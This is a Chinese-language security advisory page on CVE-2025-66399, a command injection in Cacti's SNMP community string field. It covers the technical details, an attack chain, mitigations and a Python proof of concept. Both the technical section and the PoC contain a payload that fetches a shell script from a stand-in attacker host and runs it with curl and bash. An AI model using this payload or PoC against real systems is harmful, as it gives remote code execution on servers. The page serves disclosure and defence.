IPBUF安全漏洞报告
English
CVE-2025-66399 CVSS 8.8 高危

CVE-2025-66399 Cacti SNMP社区字符串命令注入漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-66399
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cacti

相关标签

命令注入输入验证SNMPCactiCVE-2025-66399网络监控高危漏洞远程代码执行

漏洞概述

Cacti是一款开源的网络性能监控和故障管理框架。在1.2.29之前的版本中,其SNMP设备配置功能存在严重的输入验证漏洞。攻击者可以利用该漏洞,通过在SNMP community字符串中注入控制字符(特别是换行符等特殊字符),绕过系统的输入验证机制。这些恶意的community字符串会被直接存储到数据库中,并在后续的SNMP操作中被调用。当下游的SNMP工具或脚本处理这些包含特殊字符的数据时,换行符可能被解释为命令分隔符,从而导致任意命令在Cacti服务进程的权限下执行。该漏洞需要认证用户权限,但认证门槛较低,在多租户或共享环境中风险尤为突出。成功利用此漏洞可导致服务器被完全控制,造成数据泄露、服务中断等严重后果。

技术细节

该漏洞的根本原因在于Cacti对用户输入的SNMP community字符串缺乏充分的输入验证和过滤。具体来说:1. 输入验证缺陷:Cacti的SNMP设备配置模块直接接受用户提供的community字符串,未对控制字符(如\n、\r、\0等)进行过滤或转义。2. 存储层污染:恶意字符串被原样存储到数据库中,未经安全处理。这使得攻击载荷能够持久化存在。3. 执行层触发:当Cacti执行SNMP操作(如snmpwalk、snmpset等)时,这些字符串被传递给底层SNMP工具。如果外部脚本或工具将换行符作为命令分隔符处理,则可能执行注入的恶意命令。4. 利用条件:攻击者需要拥有有效的Cacti用户账号(低权限即可),能够访问SNMP设备配置功能。在某些配置下,SNMP操作可能以更高权限的系统用户身份执行,从而扩大攻击影响。攻击者可通过构造形如'validcommunity\ncurl http://attacker.com/shell.sh|bash'的community字符串来实现命令注入。

攻击链分析

STEP 1
步骤1
攻击者获取Cacti系统低权限用户账号
STEP 2
步骤2
攻击者登录Cacti并访问SNMP设备管理界面
STEP 3
步骤3
在SNMP community字段中注入包含控制字符和恶意命令的字符串,如使用换行符分隔多个命令
STEP 4
步骤4
恶意字符串被存储到数据库中,等待触发条件
STEP 5
步骤5
Cacti执行SNMP操作(如定时任务、重新索引等),调用底层SNMP工具
STEP 6
步骤6
SNMP工具解析community字符串时,换行符被解释为命令边界,导致注入的命令被执行
STEP 7
步骤7
攻击者获得Cacti服务进程权限,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66399 PoC - Cacti SNMP Community String Command Injection # This PoC demonstrates injecting commands via SNMP community strings import requests import json # Configuration CACTI_URL = "http://target.com/cacti" USERNAME = "attacker" PASSWORD = "password123" TARGET_HOST = "http://attacker.com/" def login(session): """Authenticate to Cacti""" login_url = f"{CACTI_URL}/index.php" data = { "action": "login", "login_username": USERNAME, "login_password": PASSWORD } response = session.post(login_url, data=data) return "cacti_session" in session.cookies def inject_snmp_community(session): """Inject malicious SNMP community string with command injection""" # Construct malicious community string with newline for command injection malicious_community = f"public;curl {TARGET_HOST}/shell.sh|bash;#" devices_url = f"{CACTI_URL}/host.php" data = { "action": "save", "host_template_id": "1", "description": "Malicious Device", "hostname": "192.168.1.1", "snmp_community": malicious_community, "snmp_version": "2", "method": "save" } response = session.post(devices_url, data=data) return response.status_code == 200 def trigger_execution(session, device_id): """Trigger SNMP operation to execute injected command""" reindex_url = f"{CACTI_URL}/host.php" data = { "action": "reindex", "host_id": device_id } response = session.post(reindex_url, data=data) return response def main(): session = requests.Session() if not login(session): print("[-] Authentication failed") return print("[+] Successfully authenticated") if inject_snmp_community(session): print("[+] Malicious SNMP community string injected") print("[+] Wait for scheduled SNMP reindex task to trigger command execution") else: print("[-] Failed to inject community string") if __name__ == "__main__": main()

影响范围

Cacti < 1.2.29

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Cacti用户的权限,移除非管理员用户的SNMP设备管理权限;2) 在数据库层添加触发器,对snmp_community字段进行输入验证;3) 修改SNMP调用脚本,对community字符串进行转义处理;4) 启用Cacti的详细审计日志,实时监控SNMP配置变更;5) 考虑临时禁用非必要的SNMP设备轮询功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表